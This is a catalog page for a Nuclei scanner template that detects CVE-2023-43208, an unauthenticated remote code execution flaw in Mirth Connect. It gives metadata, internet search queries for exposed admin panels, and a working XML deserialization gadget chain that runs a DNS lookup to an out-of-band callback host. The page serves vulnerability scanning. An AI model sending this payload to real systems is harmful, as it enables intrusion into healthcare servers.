CVE-2023-43208: NextGen Healthcare Mirth Connect - Remote Code Execution
- Template: CVE-2023-43208
- Name: NextGen Healthcare Mirth Connect - Remote Code Execution
- Description: Unauthenticated remote code execution vulnerability in NextGen Healthcare Mirth Connect before version 4.4.1.
- Impact: Successful exploitation could result in unauthorized access and potential compromise of sensitive data.
- Remediation: Apply the vendor-supplied patch or upgrade to a non-vulnerable version.
- Severity: critical
- Authors: princechaddha
- Tags: packetstorm, cve, cve2023, nextgen, rce, kev, vkev, vuln
- References: http://packetstormsecurity.com/files/176920/Mirth-Connect-4.4.0-Remote-Command-Execution.html, https://github.com/nvn1729/advisories
- Cves: CVE-2023-43208
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2023/CVE-2023-43208.yaml
- Digest: 4a0a00473045022018e43e5c7d997d93bc3df29b3956b2877bbd2c7621e8382b8a773b3c1020b27102210086a28cf98f6e3805550a99051f044c6a54f476e8b80f9b14d27479a2551c2829
- Created at: 2024-05-01T06:27:59Z
- Updated at: 2026-11-17T02:03:43Z
- Age in days: 937
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-43208.yaml
- Checked, none or zero: verified
Classification
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.86231
- Epss percentile: 0.99738
- Cpe: cpe:2.3:a:nextgen:mirth_connect:*:*:*:*:*:*:*:*
- Checked, none or zero: cwe
Metadata
- Fofa-query: title="mirth connect administrator"
- Google-query: intitle:"mirth connect administrator"
- Max-request: 2
- Product: mirth_connect
- Shodan-query: title:"mirth connect administrator", http.title:"mirth connect administrator"
- Vendor: nextgen
Products
| Product | Indexed | Url |
|---|---|---|
| nextgen:mirth_connect | yes | /v1/products/nextgen/mirth_connect |
Labels
- Name: NextGen Healthcare Mirth Connect - Remote Code Execution
- Impact: Attackers can execute arbitrary code remotely, potentially leading to full system compromise.
- Remediation: Update to version 4.4.1 or later.
- Vulnerability type: remote_code_execution
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2023-43208
- Not known: requirements
```yaml
id: CVE-2023-43208
info:
name: NextGen Healthcare Mirth Connect - Remote Code Execution
author: princechaddha
severity: critical
description: Unauthenticated remote code execution vulnerability in NextGen Healthcare Mirth Connect before version 4.4.1.
impact: |
Successful exploitation could result in unauthorized access and potential compromise of sensitive data.
remediation: |
Apply the vendor-supplied patch or upgrade to a non-vulnerable version.
reference:
- http://packetstormsecurity.com/files/176920/Mirth-Connect-4.4.0-Remote-Command-Execution.html
- https://github.com/nvn1729/advisories
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-43208
epss-score: 0.86231
epss-percentile: 0.99738
cpe: cpe:2.3:a:nextgen:mirth_connect:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: nextgen
product: "mirth_connect"
shodan-query:
- "title:\"mirth connect administrator\""
- http.title:"mirth connect administrator"
fofa-query: "title=\"mirth connect administrator\""
google-query: "intitle:\"mirth connect administrator\""
tags: packetstorm,cve,cve2023,nextgen,rce,kev,vkev,vuln
http:
- raw:
- |
GET /api/server/version HTTP/1.1
Host: {{Hostname}}
X-Requested-With: OpenAPI
- |
POST /api/users HTTP/1.1
Host: {{Hostname}}
X-Requested-With: OpenAPI
Content-Type: application/xml
<sorted-set>
<string>abcd</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
<target class="org.apache.commons.collections4.functors.ChainedTransformer">
<iTransformers>
<org.apache.commons.collections4.functors.ConstantTransformer>
<iConstant class="java-class">java.lang.Runtime</iConstant>
</org.apache.commons.collections4.functors.ConstantTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>getMethod</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
<java-class>[Ljava.lang.Class;</java-class>
</iParamTypes>
<iArgs>
<string>getRuntime</string>
<java-class-array/>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>invoke</iMethodName>
<iParamTypes>
<java-class>java.lang.Object</java-class>
<java-class>[Ljava.lang.Object;</java-class>
</iParamTypes>
<iArgs>
<null/>
<object-array/>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>exec</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
</iParamTypes>
<iArgs>
<string>nslookup {{interactsh-url}}</string>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
</iTransformers>
</target>
<methodName>transform</methodName>
<eventTypes>
<string>compareTo</string>
</eventTypes>
</handler>
</dynamic-proxy>
</sorted-set>
matchers:
- type: dsl
dsl:
- 'compare_versions(version, "<4.4.1")'
- 'contains(interactsh_protocol, "dns")'
- 'status_code_1 == 200 && status_code_2 == 500'
condition: and
extractors:
- type: regex
part: body_1
name: version
group: 1
regex:
- '(.*)'
internal: true
digest: 4a0a00473045022018e43e5c7d997d93bc3df29b3956b2877bbd2c7621e8382b8a773b3c1020b27102210086a28cf98f6e3805550a99051f044c6a54f476e8b80f9b14d27479a2551c2829:922c64590222798bb761d5b6d8e72950
```